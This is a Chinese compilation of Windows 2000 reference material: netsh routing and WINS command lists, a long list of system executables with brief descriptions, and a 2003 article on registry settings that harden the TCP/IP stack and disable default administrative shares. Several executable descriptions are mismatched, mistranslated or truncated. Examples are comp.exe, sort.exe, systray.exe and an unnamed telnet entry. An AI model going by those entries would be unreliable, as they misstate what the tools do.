    routing ip ospf add/delete/set/show interface 在指定接口上添加、删除、配置或显示 OSPF。
    routing ip ospf add/delete/set/show area 添加、删除、配置或显示 OSPF 区域。
    routing ip ospf add/delete/show range 在指定的 OSPF 区域上添加、删除、配置或显示范围。
    routing ip ospf add/delete/set/show virtif 添加、删除、配置或显示 OSPF 虚拟接口。
    routing ip ospf add/delete/show neighbor 添加、删除、配置或显示 OSPF 邻居。
    routing ip ospf add/delete/show protofilter 添加、删除、配置或显示 OSPF 外部路由的路由信息源。
    routing ip ospf add/delete/show routefilter 添加、删除、配置或显示 OSPF 外部路由的路由筛选。
    routing ip ospf show areastats 显示 OSPF 区域统计。
    routing ip ospf show lsdb 显示 OSPF 链接状态数据库。
    routing ip ospf show virtifstats 显示 OSPF 虚拟链接统计。
    routing ip relay set global 配置“DHCP 中继代理程序”的全局设置。
    routing ip relay add/delete/set interface 在指定接口上添加、删除或配置“DHCP 中继代理程序”设置。
    routing ip relay add/delete dhcpserver 在 DHCP 服务器地址列表中添加或删除 DHCP 服务器的 IP 地址。
    routing ip relay show ifbinding 显示接口的 IP 地址绑定。
    routing ip relay show ifconfig 显示每个接口的“DHCP 中继代理程序”配置。
    routing ip relay show ifstats 显示每个接口的 DHCP 统计。
    routing ip rip set/show global 配置 IP 的 RIP 全局设置。
    routing ip rip add/delete/set/show interface 在指定接口上添加或配置 IP 的 RIP 设置。
    routing ip rip add/delete peerfilter 添加或删除 RIP 对等筛选器。
    routing ip rip add/delete acceptfilter 在接受的路由列表中添加或删除 RIP 路由筛选器。
    routing ip rip add/delete announcefilter 在公布的路由列表中添加或删除 RIP 路由筛选器。
    routing ip rip add/delete/show neighbor 添加或删除 RIP 邻居。
    routing ip rip set/show flags 在指定接口上配置 IP RIP 高级设置。
    routing ip rip show globalstats 显示全局 RIP 参数。
    routing ip rip show ifbinding 显示接口的 IP 地址绑定。
    routing ip rip show ifstats 显示每个接口的 RIP 统计。
    IPX netsh 路由命令
    routing ipx add/set staticroute 在 IPX 路由表中添加或配置静态 IPX 路由。
    routing ipx add/set staticservice 在 SAP 服务表中添加或配置静态 SAP 服务。
    routing ipx add/set filter 在指定的接口上添加或配置 IPX 数据包筛选器。
    routing ipx add/set interface 在请求拨号接口上启用 IPX 路由,或在指定的接口上配置 IPX 设置。
    routing ipx set global 配置全局 IPX 路由设置。
    routing ipx rip add/set filter 添加和配置 RIP 路由筛选器。
    routing ipx rip set global 配置全局 IPX 的 RIP 设置。
    routing ipx rip set interface 在指定接口上配置 IPX 的 RIP 设置。
    routing ipx sap add/set filter 添加或配置 SAP 服务筛选器。
    routing ipx sap set global 配置全局 IPX 的 SAP 设置。
    routing ipx sap set interface 在指定接口上配置 IPX 的 SAP 设置。
    routing ipx netbios add nbname 将静态 NETBIOS 名称添加到 IPX NetBIOS 名称表中。
    routing ipx netbios set interface 在指定接口上配置基于 IPX 的 NetBIOS 设置。

    WINS NetSh 命令
    list 列出所有可用的 WINS 命令。
    dump 将 WINS 服务器配置转储到命令输出。
    add name 在服务器上注册名称。详细信息,请输入 add name /?
    add partner 向服务器添加复制伙伴。详细信息,请输入 add partner /?
    add pngserver 添加当前服务器的 Persona Non Grata 服务器列表。详细信息,请输入 add pngserver /?
    check database 检查数据库的一致性。详细信息,请输入 check database /?
    check name 检查一组 WINS 服务器的名称记录列表。详细信息,请输入 check name /?
    check version 检查版本号的一致性。详细信息,请输入 check version /?
    delete name 从服务器数据库中删除已注册的名称。详细信息,请输入 delete name /?
    delete partner 从复制伙伴列表中删除复制伙伴。详细信息,请输入 delete partner /?
    delete records 从服务器删除或逻辑删除所有记录或一组记录。详细信息,请输入 delete records /?
    delete owners 删除所有者列表及其记录。详细信息,请输入 delete owners /?
    delete pngserver 从列表中删除所有的或选定的 Persona Non Grata 服务器。详细信息,请输入 delete pngserver /?
    init backup 备份 WINS 数据库。详细信息,请输入 init backup /?
    init import 从 Lmhosts 文件导入数据。详细信息,请输入 init import /?
    init pull 启动“拉”触发器,并发送给另一台 WINS 服务器。详细信息,请输入 init pull /?
    init pullrange 开始另一台 WINS 服务器的一组记录,并读取该记录。详细信息,请输入 init pullrange /?
    init push 启动“推”触发器,并发送给另一台 WINS 服务器。详细信息,请输入 init push /?
    init replicate 用复制伙伴复制数据库。详细信息,请输入 init replicate /?
    init restore 从文件还原数据库。详细信息,请输入 init restore /?
    init scavenge 清除服务器的 WINS 数据库。详细信息,请输入 init scavenge /?
    init search 搜索服务器的 WINS 数据库。详细信息,请输入 init search /?
    reset statistics 重置服务器的统计信息。详细信息,请输入 reset statistics /?
    set autopartnerconfig 设置服务器的自动复制伙伴配置信息。详细信息,请输入 set autopartnerconfig /?
    set backuppath 设置服务器的备份参数。详细信息,请输入 set backuppath /?
    set burstparam 设置服务器的突发处理参数。详细信息,请输入 set autopartnerconfig /?
    set logparam 设置数据库和事件日志记录选项。详细信息,请输入 set logparam /?
    set migrateflag 设置服务器的迁移标志。详细信息,请输入 set migrateflag /?
    set namerecord 设置服务器的间隔和超时值。详细信息,请输入 set namerecord /?
    set periodicdbchecking 设置服务器的定期数据库检查参数。详细信息,请输入 set periodicdbchecking /?
    set pullpartnerconfig 设置指定的“拉”伙伴的配置参数。详细信息,请输入 set pullpartnerconfig /?
    set pushpartnerconfig 设置指定的“推”伙伴的配置参数。详细信息,请输入 set pushpartnerconfig /?
    set pullparam 设置服务器的默认“拉”参数。详细信息,请输入 set pullparam /?
    set pushparam 设置服务器的默认“推”参数。详细信息,请输入 set pushparam /?
    set replicateflag 设置服务器的复制标志。详细信息,请输入 set replicateflag /?
    set startversion 设置数据库的开始版本 ID。详细信息,请输入 set startversion /?
    show browser 显示所有活动域主浏览器的 [1Bh] 记录。详细信息,请输入 show browser /?
    show database 显示指定服务器的数据库和记录。详细信息,请输入 show database /?
    show info 显示配置信息。详细信息,请输入 show info /?
    show name 显示服务器中特定记录的详细信息。详细信息,请输入 show name /?
    show partner 显示服务器的“拉”或“推”(或“推拉”)伙伴。详细信息,请输入 show partner /?
    show partnerproperties 显示默认伙伴配置。详细信息,请输入 show partnerproperties /?
    show pullpartnerconfig 显示“拉”伙伴的配置信息。详细信息,请输入 show pullpartnerconfig /?
    show pushpartnerconfig 显示“推”伙伴的配置信息。详细信息,请输入 show pushpartnerconfig /?
    show reccount 显示指定服务器所拥有的记录数量。详细信息,请输入 show reccount /?
    show recbyversion 显示指定服务器所拥有的记录。详细信息,请输入 show recbyversion /?
    show server 显示当前选定的服务器。详细信息,请输入 show server /?
    show statistics 显示 WINS 服务器的统计信息。详细信息,请输入 show statistics /?
    show version 显示 WINS 服务器的当前版本计数器值。详细信息,请输入 show version /?
    show versionmap 显示所有者 ID 到“最大版本数”的映射。详细信息,请输入 show versionmap /?
    Interface 命令
    interface set/show interface 启用、禁用、连接、断开连接以及显示请求拨号接口的配置。
    interface set/show credentials 在请求拨号接口上配置或显示用户名、密码和域名。
    Win2000命令全集

    accwiz.exe > Accessibility Wizard for walking you through setting up your machine for your mobility needs. 辅助工具向导

    acsetups.exe > ACS setup DCOM server executable

    actmovie.exe > Direct Show setup tool 直接显示安装工具

    append.exe > Allows programs to open data in specified directories as if they were in the current directory. 允许程序打开制定目录中的数据

    arp.exe > NETWORK Display and modify IP - Hardware addresses 显示和更改计算机的IP与硬件物理地址的对应列表

    at.exe > AT is a scheduling utility also included with UNIX 计划运行任务

    atmadm.exe > Displays statistics for ATM call manager. ATM调用管理器统计

    attrib.exe > Display and modify attributes for files and folders 显示和更改文件和文件夹属性

    autochk.exe > Used to check and repair Windows File Systems 检测修复文件系统

    autoconv.exe > Automates the file system conversion during reboots 在启动过程中自动转化系统

    autofmt.exe > Automates the file format process during reboots 在启动过程中格式化进程

    autolfn.exe > Used for formatting long file names 使用长文件名格式

    bootok.exe > Boot acceptance application for registry

    bootvrfy.exe > Bootvrfy.exe, a program included in Windows 2000 that notifies the system that startup was successful. Bootvrfy.exe can be run on a local or remote computer. 通报启动成功
    cacls.exe > Displays or modifies access control lists (ACLs) of files. 显示和编辑ACL

    calc.exe > Windows Calculators 计算器

    cdplayer.exe > Windows CD Player CD播放器

    change.exe > Change { User | Port | Logon } 与终端服务器相关的查询

    charmap.exe > Character Map 字符映射表

    chglogon.exe > Same as using "Change Logon" 启动或停用会话记录

    chgport.exe > Same as using "Change Port" 改变端口(终端服务)

    chgusr.exe > Same as using "Change User" 改变用户(终端服务)

    chkdsk.exe > Check the hard disk for errors similar to Scandisk 3 Stages must specify a Drive Letter 磁盘检测程序

    chkntfs.exe > Same as using chkdsk but for NTFS NTFS磁盘检测程序

    cidaemon.exe > Component of Ci Filer Service 组成Ci文档服务

    cipher.exe > Displays or alters the encryption of directories [files] on NTFS partitions. 在NTFS上显示或改变加密的文件或目录

    cisvc.exe > Content Index -- It`s the content indexing service for I 索引内容

    ckcnv.exe > Cookie Convertor 变换Cookie

    cleanmgr.exe > Disk Cleanup, popular with Windows 98 磁盘清理

    cliconfg.exe > SQL Server Client Network Utility SQL客户网络工具

    clipbrd.exe > Clipboard viewer for Local will allow you to connect to other clipboards 剪贴簿查看器

    clipsrv.exe > Start the clipboard Server 运行Clipboard服务

    clspack.exe > CLSPACK used to create a file listing of system packages 建立系统文件列表清单

    cluster.exe > Display a cluster in a domain 显示域的集群

    _cmd_.exe > Famous command prompt 没什么好说的!

    cmdl32.exe > Connection Manager Auto-Download 自动下载连接管理

    cmmgr32.exe > Connection Manager 连接管理器

    cmmon32.exe > Connection Manager Monitor 连接管理器监视

    cmstp.exe > Connection Manager Profile Manager 连接管理器配置文件安装程序

    comclust.exe > about cluster server 集群

    comp.exe > ComClust Add, Remove, or Join a cluster. 比较两个文件和文件集的内容*

    compact.exe > Displays or alters the compression of files on NTFS partitions. 显示或改变NTFS分区上文件的压缩状态

    conime.exe > Console IME IME控制台

    control.exe > Starts the control panel 控制面板

    convert.exe > Convert File System to NTFS 转换文件系统到NTFS

    convlog.exe > Converts MS IIS log files 转换IIS日志文件格式到NCSA格式

    cprofile.exe > Copy profiles 转换显示模式

    cscript.exe > MS Windows Scripts Host Version 5.1 较本宿主版本

    csrss.exe > Client Server Runtime Process 客户服务器Runtime进程

    csvde.exe > Comma Separated Variable Import/Export Utility 日至格式转换程序

    dbgtrace.exe > 和Terminal Server相关

    dcomcnfg.exe > Display the current DCOM configuration. DCOM配置属性

    dcphelp.exe > ?

    dcpromo.exe > Promote a domain controller to ADSI AD安装向导

    ddeshare.exe > Display DDE shares on local or remote computer DDE共享

    ddmprxy.exe >

    debug.exe > Runs Debug, a program testing and editing tool. 就是DEBUG啦!

    dfrgfat.exe > Defrag FAT file system FAT分区磁盘碎片整理程序

    dfrgntfs.exe > Defrag NTFS file system NTFS分区磁盘碎片整理程序

    dfs_cmd_.exe > configures a Dfs tree 配置一个DFS树

    dfsinit.exe > Distributed File System Initialization 分布式文件系统初始化

    dfssvc.exe > Distributed File System Server 分布式文件系统服务器

    diantz.exe > MS Cabinet Maker 制作CAB文件

    diskperf.exe > Starts physical Disk Performance counters 磁盘性能计数器

    dllhost.exe > dllhost is used on all versions of Windows 2000. dllhost is the hedost process for all COM+ applications. 所有COM+应用软件的主进程

    dllhst3g.exe >

    dmadmin.exe > Disk Manager Service 磁盘管理服务

    dmremote.exe > Part of disk management 磁盘管理服务的一部分

    dns.exe > DNS Applications DNS

    doskey.exe > recalls Windows command lines and creates macros 命令行创建宏

    dosx.exe > DOS Extender DOS扩展

    dplaysvr.exe > Direct Play Helper 直接运行帮助

    drwatson.exe > Dr Watson for 2000 Fault Detector 华生医生错误检测

    drwtsn32.exe > Dr Watson for 2000 viewer and configuration manager 华生医生显示和配置管理

    dtcsetup.exe > Installs MDTC

    dvdplay.exe > Windows 2000 DVD player DVD播放

    dxdiag.exe > Direct-X Diagnostics Direct-X诊断工具

    edlin.exe > line-oriented text editor. 命令行的文本编辑器(历史悠久啊!)
    edlin.exe > line-oriented text editor. 命令行的文本编辑器(历史悠久啊!)

    esentutl.exe > MS Database Utility MS数据库工具

    eudcedit.exe > Private character editor Ture Type造字程序

    eventvwr.exe > Windows 2000 Event Viewer 事件查看器

    evnt_cmd_.exe > Event to trap translator; Configuration tool

    evntwin.exe > Event to trap translator setup

    exe2bin.exe > Converts EXE to binary format 转换EXE文件到二进制

    expand.exe > Expand Files that have been compressed 解压缩

    extrac32.exe > CAB File extraction utility 解CAB工具

    fastopen.exe > Fastopen tracks the location of files on a hard disk and stores the information in memory for fast access. 快速访问在内存中的硬盘文件

    faxcover.exe > Fax Cover page editor 传真封面编辑

    faxqueue.exe > Display Fax Queue 显示传真队列

    faxsend.exe > Fax Wizard for sending faxes 发送传真向导

    faxsvc.exe > Starts fax server 启动传真服务

    fc.exe > Compares two files or sets of files and their differences 比较两个文件的不同

    find.exe > Searches for a text string in file or files 查找文件中的文本行

    findstr.exe > Searches for strings in files 查找文件中的行

    finger.exe > Fingers a user and displays statistics on that user Finger一个用户并显示出统计结果

    fixmapi.exe > Fix mapi files 修复MAPI文件

    flattemp.exe > Enable or disable temporally directories 允许或者禁用临时文件目录

    fontview.exe > Display fonts in a font file 显示字体文件中的字体

    forcedos.exe > Forces a file to start in dos mode. 强制文件在DOS模式下运行

    freecell.exe > Popular Windows Game 空当接龙

    ftp.exe > File Transfer Protocol used to transfer files over a network connection 就是FTP了

    gdi.exe > Graphic Device Interface 图形界面驱动

    grovel.exe >

    grpconv.exe > Program Manager Group Convertor 转换程序管理员组

    help.exe > displays help for Windows 2000 commands 显示帮助

    hostname.exe > Display hostname for machine. 显示机器的Hostname

    ie4uinit.exe > IE5 User Install tool IE5用户安装工具

    ieshwiz.exe > Customize folder wizard 自定义文件夹向导

    iexpress.exe > Create and setup packages for install 穿件安装包

    iisreset.exe > Restart IIS Admin Service 重启IIS服务

    internat.exe > Keyboard Language Indicator Applet 键盘语言指示器

    ipconfig.exe > Windows 2000 IP configuration. 察看IP配置

    ipsecmon.exe > IP Security Monitor IP安全监视器

    ipxroute.exe > IPX Routing and Source Routing Control Program IPX路由和源路由控制程序

    irftp.exe > Setup FTP for wireless communication 无线连接

    ismserv.exe > Intersite messaging Service 安装或者删除Service Control Manager中的服务

    jdbgmgr.exe > Microsoft debugger for java 4 Java4的调试器

    jetconv.exe > Convert a Jet Engine Database 转换Jet Engine数据库

    jetpack.exe > Compact Jet Database. 压缩Jet数据库

    jview.exe > Command-line loader for Java Java的命令行装载者

    krnl386.exe > Core Component for Windows 2000 2000的核心组件

    label.exe > Change label for drives 改变驱动器的卷标

    lcwiz.exe > License Compliance Wizard for local or remote systems. 许可证符合向导

    ldifde.exe > LDIF cmd line manager LDIF目录交换命令行管理

    licmgr.exe > Terminal Server License Manager 终端服务许可协议管理

    lights.exe > display connection status lights 显示连接状况

    llsmgr.exe > Windows 2000 License Manager 2000许可协议管理

    llssrv.exe > Start the license Server 启动许可协议服务器

    lnkstub.exe >

    locator.exe > RPC Locator 远程定位

    lodctr.exe > Load perfmon counters 调用性能计数

    logoff.exe > Log current user off. 注销用户

    lpq.exe > Displays status of a remote LPD queue 显示远端的LPD打印队列的状态,显示被送到基于Unix的服务器的打印任务

    lpr.exe > Send a print job to a network printer. 重定向打印任务到网络中的打印机。通常用于Unix客户打印机将打印任务发送给连接了打印设备的NT的打印机服务器。

    lsass.exe > LSA Executable and Server DLL 运行LSA和Server的DLL

    lserver.exe > Specifies the new DNS domain for the default server 指定默认Server新的DNS域

    macfile.exe > Used for managing MACFILES 管理MACFILES

    magnify.exe > Used to magnify the current screen 放大镜

    makecab.exe > MS Cabinet Maker 制作CAB文件

    mdm.exe > Machine Debug Manager 机器调试管理

    mem.exe > Display current Memory stats 显示内存状态

    migpwd.exe > Migrate passwords. 迁移密码

    mmc.exe > Microsoft Management Console 控制台

    mnmsrvc.exe > Netmeeting Remote Desktop Sharing NetMeeting远程桌面共享

    mobsync.exe > Manage Synchronization. 同步目录管理器

    mountvol.exe > Creates, deletes, or lists a volume mount point. 创建、删除或列出卷的装入点。

    mplay32.exe > MS Media Player 媒体播放器

    mpnotify.exe > Multiple Provider Notification application 多提供者通知应用程序

    mq1sync.exe >

    mqbkup.exe > MS Message Queue Backup and Restore Utility 信息队列备份和恢复工具

    mqexchng.exe > MSMQ Exchange Connector Setup 信息队列交换连接设置

    mqmig.exe > MSMQ Migration Utility 信息队列迁移工具

    mqsvc.exe > ?

    mrinfo.exe > Multicast routing using SNMP 使用SNMP多点传送路由

    mscdexnt.exe > Installs MSCD (MS CD Extensions) 安装MSCD

    msdtc.exe > Dynamic Transaction Controller Console 动态事务处理控制台

    msg.exe > Send a message to a user local or remote. 发送消息到本地或远程客户

    mshta.exe > HTML Application HOST HTML应用程序主机

    msiexec.exe > Starts Windows Installer Program 开始Windows安装程序

    mspaint.exe > Microsoft Paint 画板

    msswchx.exe >

    mstask.exe > Task Schedule Program 任务计划表程序

    mstinit.exe > Task scheduler setup 任务计划表安装

    narrator.exe > Program will allow you to have a narrator for reading. Microsoft讲述人

    nbtstat.exe > Displays protocol stats and current TCP/IP connections using NBT 使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接。

    nddeapir.exe > NDDE API Server side NDDE API服务器端

    net.exe > Net Utility 详细用法看/?

    net1.exe > Net Utility updated version from MS Net的升级版

    netdde.exe > Network DDE will install itself into the background 安装自己到后台

    netsh.exe > Creates a shell for network information 用于配置和监控 Windows 2000 命令行脚本接口。

    netstat.exe > Displays current connections. 显示协议统计和当前的 TCP/IP 网络连接。

    nlsfunc.exe > Loads country-specific information 加载特定国家(地区)的信息。Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容。

    notepad.exe > Opens Windows 2000 Notepad 记事本

    nslookup.exe > Displays information for DNS 该诊断工具显示来自域名系统 (DNS) 名称服务器的信息。

    ntbackup.exe > Opens the NT Backup Utility 备份和故障修复工具

    ntbooks.exe > Starts Windows Help Utility 帮助

    ntdsutil.exe > Performs DB maintenance of the ADSI 完成ADSI的DB的维护

    ntfrs.exe > NT File Replication Service NT文件复制服务

    ntfrsupg.exe >

    ntkrnlpa.exe > Kernel patch 核心补丁

    ntoskrnl.exe > Core NT Kernel KT的核心

    ntsd.exe >

    ntvdm.exe > Simulates a 16-bit Windows environment 模拟16位Windows环境

    nw16.exe > Netware Redirector NetWare转向器

    nwscript.exe > runs netware scripts 运行Netware脚本

    odbcad32.exe > ODBC 32-bit Administrator 32位ODBC管理

    odbcconf.exe > Configure ODBC driver`s and data source`s from command line 命令行配置ODBC驱动和数据源

    os2.exe > An OS/2 Warp Server (os2 /o) OS/2

    os2srv.exe > An OS/2 Warp Server OS/2

    os2ss.exe > An OS/2 Warp Server OS/2

    osk.exe > On Screen Keyboard 屏幕键盘

    packager.exe > Windows 2000 Packager Manager 对象包装程序

    pathping.exe > Combination of Ping and Tracert 包含Ping和Tracert的程序

    pax.exe > is a POSIX program and path names used as arguments must be specified in POSIX format. Use "//C/Users/Default" instead of "C:\USERS\DEFAULT." 启动便携式存档互换 (Pax) 实用程序

    pentnt.exe > Used to check the Pentium for the floating point division error. 检查Pentium的浮点错误

    perfmon.exe > Starts Windows Performance Monitor 性能监视器

    ping.exe > Packet Internet Groper 验证与远程计算机的连接

    posix.exe > Used for backward compatibility with Unix 用于兼容Unix

    print.exe > Cmd line used to print files 打印文本文件或显示打印队列的内容。

    progman.exe > Program manager 程序管理器

    proquota.exe > Profile quota program

    psxss.exe > POSIX Subsystem Application Posix子系统应用程序

    qappsrv.exe > Displays the available application terminal servers on the network
    在网络上显示终端服务器可用的程序

    qprocess.exe > Display information about processes local or remote 在本地或远程显示进程的信息(需终端服务)

    query.exe > Query TERMSERVER user process and sessions 查询进程和对话

    quser.exe > Display information about a user logged on 显示用户登陆的信息(需终端服务)

    qwinsta.exe > Display information about Terminal Sessions. 显示终端服务的信息

    rasadmin.exe > Start the remote access admin service 启动远程访问服务

    rasautou.exe > Creates a RAS connection 建立一个RAS连接

    rasdial.exe > Dial a connection 拨号连接

    rasphone.exe > Starts a RAS connection 运行RAS连接

    rcp.exe > Copies a file from and to a RCP service. 在 Windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件

    rdpclip.exe > RdpClip allows you to copy and paste files between a terminal session and client console session. 再终端和本地复制和粘贴文件

    recover.exe > Recovers readable information from a bad or defective disk 从坏的或有缺陷的磁盘中恢复可读取的信息。

    redir.exe > Starts the redirector service 运行重定向服务

    regedt32.exe > 32-bit register service 32位注册服务

    regini.exe > modify registry permissions from within a script 用脚本修改注册许可

    register.exe > Register a program so it can have special execution characteristics. 注册包含特殊运行字符的程序

    regsvc.exe >

    regsvr32.exe > Registers and unregister`s dll`s. As to how and where it register`s them I dont know. 注册和反注册DLL

    regtrace.exe > Options to tune debug options for applications failing to dump trace statements
    Trace 设置
    regwiz.exe > Registration Wizard 注册向导

    remrras.exe >

    replace.exe > Replace files 用源目录中的同名文件替换目标目录中的文件。

    reset.exe > Reset an active section 重置活动部分

    rexec.exe > Runs commands on remote hosts running the REXEC service. 在运行 REXEC 服务的远程计算机上运行命令。rexec 命令在执行指定命令前,验证远程计算机上的用户名,只有安装了 TCP/IP 协议后才可以使用该命令。

    risetup.exe > Starts the Remote Installation Service Wizard. 运行远程安装向导服务

    route.exe > display or edit the current routing tables. 控制网络路由表

    routemon.exe > no longer supported 不再支持了!

    router.exe > Router software that runs either on a dedicated DOS or on an OS/2 system. Route软件在 DOS或者是OS/2系统

    rsh.exe > Runs commands on remote hosts running the RSH service 在运行 RSH 服务的远程计算机上运行命令

    rsm.exe > Mounts and configures remote system media 配置远程系统媒体

    rsnotify.exe > Remote storage notification recall 远程存储通知回显

    rsvp.exe > Resource reservation protocol 源预约协议

    runas.exe > RUN a program as another user 允许用户用其他权限运行指定的工具和程序

    rundll32.exe > Launches a 32-bit dll program 启动32位DLL程序

    runonce.exe > Causes a program to run during startup 运行程序再开始菜单中

    rwinsta.exe > Reset the session subsystem hardware and software to known initial values 重置会话子系统硬件和软件到最初的值

    savedump.exe > Does not write to e:\winnt\user.dmp 不写入User.dmp中

    scardsvr.exe > Smart Card resource management server 子能卡资源管理服务器

    schupgr.exe > It will read the schema update files (.ldf files) and upgrade the schema. (part of ADSI) 读取计划更新文件和更新计划

    secedit.exe > Starts Security Editor help 自动安全性配置管理

    services.exe > Controls all the services 控制所有服务

    sethc.exe > Set High Contrast - changes colours and display mode Logoff to set it back to normal 设置高对比

    setreg.exe > Shows the Software Publishing State Key values 显示软件发布的国家语言

    setup.exe > GUI box prompts you to goto control panel to configure system components 安装程序(转到控制面板)

    setver.exe > Set Version for Files 设置 MS-DOS 子系统向程序报告的 MS-DOS 版本号

    sfc.exe > System File Checker test and check system files for integrity 系统文件检查

    sfmprint.exe > Print Services for Macintosh 打印Macintosh服务

    sfmpsexe.exe >

    sfmsvc.exe >

    shadow.exe > Monitor another Terminal Services session. 监控另外一台中端服务器会话

    share.exe > Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容

    shmgrate.exe >

    shrpubw.exe > Create and Share folders 建立和共享文件夹

    sigverif.exe > File Signature Verification 文件签名验证

    skeys.exe > Serial Keys utility 序列号制作工具

    smlogsvc.exe > Performance Logs and Alerts 性能日志和警报

    smss.exe >

    sndrec32.exe > starts the Windows Sound Recorder 录音机

    sndvol32.exe > Display the current volume information 显示声音控制信息

    snmp.exe > Simple Network Management Protocol used for Network Mangement 简单网络管理协议

    snmptrap.exe > Utility used with SNMP SNMP工具

    sol.exe > Windows Solitaire Game 纸牌

    sort.exe > Compares files and Folders 读取输入、排序数据并将结果写到屏幕、文件和其他设备上

    SPOOLSV.EXE > Part of the spooler service for printing 打印池服务的一部分

    sprestrt.exe >

    srvmgr.exe > Starts the Windows Server Manager 服务器管理器

    stimon.exe > WDM StillImage- > Monitor

    stisvc.exe > WDM StillImage- > Service

    subst.exe > Associates a path with a drive letter 将路径与驱动器盘符关联

    svchost.exe > Svchost.exe is a generic host process name for services that are run from dynamic-link libraries (DLLs). DLL得主进程

    syncapp.exe > Creates Windows Briefcase. 创建Windows文件包

    sysedit.exe > Opens Editor for 4 system files 系统配置编辑器

    syskey.exe > Encrypt and secure system database NT账号数据库按群工具

    sysocmgr.exe > Windows 2000 Setup 2000安装程序

    systray.exe > Starts the systray in the lower right corner. 在低权限运行systray

    taskman.exe > Task Manager 任务管理器

    taskmgr.exe > Starts the Windows 2000 Task Manager 任务管理器

    tcmsetup.exe > telephony client wizard 电话服务客户安装

    tcpsvcs.exe > TCP Services TCP服务

    .exe > Telnet Utility used to connect to Telnet Server

    termsrv.exe > Terminal Server 终端服务

    tftp.exe > Trivial FTP 将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件

    tftpd.exe > Trivial FTP Daemon

    themes.exe > Change Windows Themes 桌面主题

    tlntadmn.exe > Telnet Server Administrator Telnet服务管理

    tlntsess.exe > Display the current Telnet Sessions 显示目前的Telnet会话

    tlntsvr.exe > Start the Telnet Server 开始Telnet服务

    tracert.exe > Trace a route to display paths 该诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标,以决定到达目标采用的路由

    tsadmin.exe > Terminal Server Administrator 终端服务管理器

    tscon.exe > Attaches a user session to a terminal session. 粘贴用户会话到终端对话

    tsdiscon.exe > Disconnect a user from a terminal session 断开终端服务的用户

    tskill.exe > Kill a Terminal server process 杀掉终端服务

    tsprof.exe > Used with Terminal Server to query results. 用终端服务得出查询结果

    tsshutdn.exe > Shutdown the system 关闭系统

    unlodctr.exe > Part of performance monitoring 性能监视器的一部分

    upg351db.exe > Upgrade a jet database 升级Jet数据库

    ups.exe > UPS service UPS服务

    user.exe > Core Windows Service Windows核心服务

    userinit.exe > Part of the winlogon process Winlogon进程的一部分

    usrmgr.exe > Start the windows user manager for domains 域用户管理器

    utilman.exe > This tool enables an administrator to designate which computers automatically open accessibility tools when Windows 2000 starts. 指定2000启动时自动打开那台机器

    verifier.exe > Driver Verifier Manager Driver Verifier Manager

    vwipxspx.exe > Loads IPX/SPX VDM 调用IPX/SPX VDM

    w32tm.exe > Windows Time Server 时间服务器

    wextract.exe > Used to extract windows files 解压缩Windows文件

    winchat.exe > Opens Windows Chat 打开Windows聊天

    winhlp32.exe > Starts the Windows Help System 运行帮助系统

    winlogon.exe > Used as part of the logon process. Logon进程的一部分

    winmine.exe > windows Game 挖地雷

    winmsd.exe > Windows Diagnostic utility 系统信息

    wins.exe > Wins Service Wins服务

    winspool.exe > Print Routing 打印路由

    winver.exe > Displays the current version of Windows 显示Windows版本

    wizmgr.exe > Starts Windows Administration Wizards Windows管理向导

    wjview.exe > Command line loader for Java 命令行调用Java

    wowdeb.exe > . For starters, the 32-bit APIs require that the WOWDEB.EXE task runs in the target debugee`s VM 启动时,32位API需要

    wowexec.exe > For running Windows over Windows Applications 在Windows应用程序上运行Windows

    wpnpinst.exe > ?

    write.exe > Starts MS Write Program 写字板

    wscript.exe > Windows Scripting Utility 脚本工具

    wupdmgr.exe > Starts the Windows update Wizard (Internet) 运行Windows升级向导

    xcopy.exe > Used to copy directories 复制文件和目录,包括子目录
    修改注册表加强Win 2000安全
    资料编号:23760 来源:电脑报 发布:zwh 时间:2003.04.14 15:42 人气:841 关闭窗口

      1、设置生存时间

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

      DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128)

      说明:指定传出IP数据包中设置的默认生存时间(TTL)值。TTL决定了IP数据包在到达目标前在网络中生存的最大时间。它实际上限定了IP数据包在丢弃前允许通过的路由器数量.有时利用此数值来探测远程主机*作系统。

      2、防止ICMP重定向报文的攻击

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

      EnableICMPRedirects REG_DWORD 0x0(默认值为0x1)

      说明:该参数控制Windows 2000是否会改变其路由表以响应网络设备(如路由器)发送给它的ICMP重定向消息,有时会被利用来干坏事.Win2000中默认值为1,表示响应ICMP重定向报文。

      3、禁止响应ICMP路由通告报文

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Inter

      faces\interface

      PerformRouterDiscovery REG_DWORD 0x0(默认值为0x2)

      说明:“ICMP路由公告”功能可造成他人计算机的网络连接异常,数据被窃听,计算机被用于流量攻击等严重后果.此问题曾导致校园网某些局域网大面积,长时间的网络异常。因此建议关闭响应ICMP路由通告报文.Win2000中默认值为2,表示当DH CP发送路由器发现选项时启用。

      4、防止SYN洪水攻击

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

      SynAttackProtect REG_DWORD 0x2(默认值为0x0)

      说明:SYN攻击保护包括减少SYN-ACK重新传输次数,以减少分配资源所保留的时间。路由缓存项资源分配延迟,直到建立连接为止.如果synattackprotect=2,则AFD的连接指示一直延迟到三路握手完成为止.注意,仅在TcpMaxHalfOpen和TcpMaxHalfO penRetried设置超出范围时,保护机制才会采取措施。

     5、禁止C$、D$一类的缺省共享

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

      AutoShareServer、REG_DWORD、0x0

      6、禁止ADMIN$缺省共享

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

      AutoShareWks、REG_DWORD、0x0

      7、限制IPC$缺省共享

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

      restrictanonymous REG_DWORD 0x0 缺省

                  0x1 匿名用户无法列举本机用户列表

                  0x2 匿名用户无法连接本机IPC$共享

